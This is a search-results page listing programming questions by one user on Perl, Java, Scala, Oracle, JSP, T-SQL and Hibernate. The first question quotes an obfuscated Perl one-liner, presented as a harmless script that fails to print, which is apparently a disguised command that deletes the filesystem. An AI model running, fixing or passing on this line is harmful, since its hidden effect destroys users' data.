Search Results

Search found 18 results on 1 pages for 'folone'.

Page 1/1 | 1 

  • Perl under unix/linux

    - by folone
    Could anyone help me fix the following script: cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see' It won't print to the output.

    Read the article

  • Java coding style

    - by folone
    How do you keep yourself coding to standards? There is stylecop and resharper for C#. Are there any tools/eclipse plugins for code analisys in Java? Which of them do you use?

    Read the article

  • Scala libraries and frameworks

    - by folone
    Each technology is powerful with libraries and frameworks, written for it. I understand, that Scala is able to use libraries and frameworks, written for Java. But there are already some frameworks, written for Scala in Scala. Like, for example: Lift Framework ScalaTest Scalaz Do you know any more great libraries and frameworks for Scala, written in Scala?

    Read the article

  • Great non-obvious java tricks

    - by folone
    Consider having a class: public class Test { public static void main(String [] args) { for (int i = 0; i < args.length; i++) { System.out.println(args[i]); } } } What happens if you run it: java Test *? Answer: it prints out all the filenames in current directory. Got more such tricks?

    Read the article

  • Oracle enterprise manager java.lang.Exception

    - by folone
    After creating a db using Database Configuration Assistant, I go to Enterprise Manager, log into it, and it tells me, that java.lang.Exception: Exception in sending Request :: null. OracleDBConsole for this db, and iSQLPlus services are started. When I run %ORACLE_HOME%\bin\emctl status dbconsole, it says, EM Daemon is not running. How do I deal with this?

    Read the article

  • How to make Date locale-independent? (GMT timezone newbie question)

    - by folone
    I have a db, that stores dates in OleDateTime format, in GMT timezone. I've implemented a class, extending Date in java to represent that in classic date format. But my class is locale-dependent (I'm in GMT+2). Therefore, it converts the date in the db as date - 2 hours. How do I make it convert the date correctly? I want my class to be locale-independent, always using GMT timezone. Actually, the question is: class MyOleDateTime extends Date { static { Locale.setDefault(WhatGoesHere?) } // ... some constructors // ... some methods }

    Read the article

  • Thread runs only once

    - by folone
    When a Thread is finished, you cannot run it once more, using start() method: it throws an Exception. Could anyone explain, why? What stands behind such an architectural decision?

    Read the article

  • Jsp static import

    - by folone
    I've created a Spring Roo project. Everything looks fine. Now I want to add a form with a text input and a button to my index.jspx. This form will change a static field currentUser in my ToDo class. So I'm adding: <form> <%@ page import="static com.mypack.domain.ToDo.*" %> <label for="_username_id">My name is:</label> <% currentUser = request.getParameter("username"); %> <input type="text" id="username" name="username" maxlength="30" path="username" size="0" value="<%= currentUser %>"/> <input type="submit"/> </form> somewhere in the middle of it. And now it won't work: This page contains the following errors: error on line 6 at column 20: StartTag: invalid element name Below is a rendering of the page up to the first error. function readCookie(name) { var nameEQ = name + '='; var ca = document.cookie.split(';'); for(var i=0;i If I comment the lines above, it works just fine. What is wrong? Is there a way to write a value to a static field of a class from a jsp page? How do I work around this?

    Read the article

  • T-SQL to PL/SQL (IDENTITY)

    - by folone
    I've got a T-SQL script, that converts field to IDENTITY (in a weird way). How do I convert it to PL/SQL? (and, probably, figure out, if there is a simpler way to do this - without creating a temporary table). The T-SQL script: -- alter table ts_changes add TS_THREADID VARCHAR(100) NULL; -- Change Field TS_ID TS_NOTIFICATIONEVENTS to IDENTITY BEGIN TRANSACTION GO CREATE TABLE dbo.Tmp_TS_NOTIFICATIONEVENTS ( TS_ID int NOT NULL IDENTITY (1, 1), TS_TABLEID int NOT NULL, TS_CASEID int NULL, TS_WORKFLOWID int NULL, TS_NOTIFICATIONID int NULL, TS_PRIORITY int NULL, TS_STARTDATE int NULL, TS_TIME int NULL, TS_WAITSTATUS int NULL, TS_RECIPIENTID int NULL, TS_LASTCHANGEDATE int NULL, TS_ELAPSEDCYCLES int NULL ) ON [PRIMARY] SET IDENTITY_INSERT dbo.Tmp_TS_NOTIFICATIONEVENTS ON GO IF EXISTS(SELECT * FROM dbo.TS_NOTIFICATIONEVENTS) EXEC('INSERT INTO dbo.Tmp_TS_NOTIFICATIONEVENTS (TS_ID, TS_TABLEID, TS_CASEID, TS_WORKFLOWID, TS_NOTIFICATIONID, TS_PRIORITY, TS_STARTDATE, TS_TIME, TS_WAITSTATUS, TS_RECIPIENTID, TS_LASTCHANGEDATE, TS_ELAPSEDCYCLES) SELECT TS_ID, TS_TABLEID, TS_CASEID, TS_WORKFLOWID, TS_NOTIFICATIONID, TS_PRIORITY, TS_STARTDATE, TS_TIME, TS_WAITSTATUS, TS_RECIPIENTID, TS_LASTCHANGEDATE, TS_ELAPSEDCYCLES FROM dbo.TS_NOTIFICATIONEVENTS WITH (HOLDLOCK TABLOCKX)') GO SET IDENTITY_INSERT dbo.Tmp_TS_NOTIFICATIONEVENTS OFF GO DROP TABLE dbo.TS_NOTIFICATIONEVENTS GO EXECUTE sp_rename N'dbo.Tmp_TS_NOTIFICATIONEVENTS', N'TS_NOTIFICATIONEVENTS', 'OBJECT' GO ALTER TABLE dbo.TS_NOTIFICATIONEVENTS ADD CONSTRAINT aaaaaTS_NOTIFICATIONEVENTS_PK PRIMARY KEY NONCLUSTERED ( TS_ID ) WITH( STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY] GO COMMIT

    Read the article

  • HQL multiple updates. Is there a better way?

    - by folone
    I have a Map, that I want to persist. The domain object is something like this: public class Settings { private String key; private String value; public String getKey() { ... } public String getValue() { ... } public void setKey() { ... } public void setValue() { ... } } The standard approach is to generate a Setting for each pair, and saveOrUpdate() it. But it generates way too much queries, because I need to save lots of settings at a time, and it really affects perfomance. Is there a way to do this using one update query?

    Read the article

  • Java vs c++ types

    - by folone
    I've recently had a question about coledatetime java implementation, and Chris said, that the problem might lay in type conversions: cpp-float vs java-float (Or maybe cpp-date vs java-date. Not types, but..). Now I have several questions on this: Is there a table of comparison for java vs c++ types? If type conversions is the problem, in my situation (I have a db with OLEDate records, already created with some c++ program. I need to read and write to that db, so that the OLEDate field compatibility remained: my java code reads proper dates, and c++ program is not affected with what the java program wrote to the db.), what would you do: Use COleDateTime to retrieve the date with JNI? Create your own implementation at all costs (using broader types, or anything else)? Is there anything, I'm missing here?

    Read the article

  • How to make Date locale-independent?

    - by folone
    I have a db, that stores dates in OleDateTime format, in GMT timezone. I've implemented a class, extending Date in java to represent that in classic date format. But my class is locale-dependent (I'm in GMT+2). Therefore, it converts the date in the db as date - 2 hours. How do I make it convert the date correctly? I want my class to be locale-independent, always using GMT timezone. Actually, the question is: class MyOleDateTime extends Date { static { Locale.setDefault(WhatGoesHere?) } // ... some constructors // ... some methods }

    Read the article

  • Convince teammates to follow standards

    - by folone
    There's always one or two guys, who think, they are great programmers, and they don't need any literature/specifications/etc. They usually write awful code, that makes you want to hurt them. They catch and suppress Throwable's, return null's, concatenate String's in large loops, do other stupid stuff. So the question is — How do I make such a person follow best practices and specifications? He does not listen (cause he's the best programmer), team lead does not give a damn ("It actually works, so why changing it?.."), and I'm actually tired of rewriting that awful code on my own. What do I do? What would you do?

    Read the article

  • DecimalFormat and Double.valueOf()

    - by folone
    Hello. I'm trying to get rid of unnecessary symbols after decimal seperator of my double value. I'm doing it this way: DecimalFormat format = new DecimalFormat("#.#####"); value = Double.valueOf(format.format(41251.50000000012343)); But when I run this code, it throws: java.lang.NumberFormatException: For input string: "41251,5" at sun.misc.FloatingDecimal.readJavaFormatString(FloatingDecimal.java:1224) at java.lang.Double.valueOf(Double.java:447) at ... As I see, Double.valueOf() works great with strings like "11.1", but it chokes on strings like "11,1". How do I work around this? Is there a more elegant way then something like Double.valueOf(format.format(41251.50000000012343).replaceAll(",", ".")); Is there a way to override the default decimal separator value of DecimalFormat class?

    Read the article

  • javax.activation.DataSource size question

    - by folone
    How do I get the amount of physical memory, consumed by the DataSource (specifically — ByteArrayDataSource)? I use ByteArrayDataSource (byte[] bytes, String type) constructor, where I get bytes like this: String str = "test"; byte[] bytes = str.getBytes(); Would that be str.length() in bytes? Any other ideas?

    Read the article

1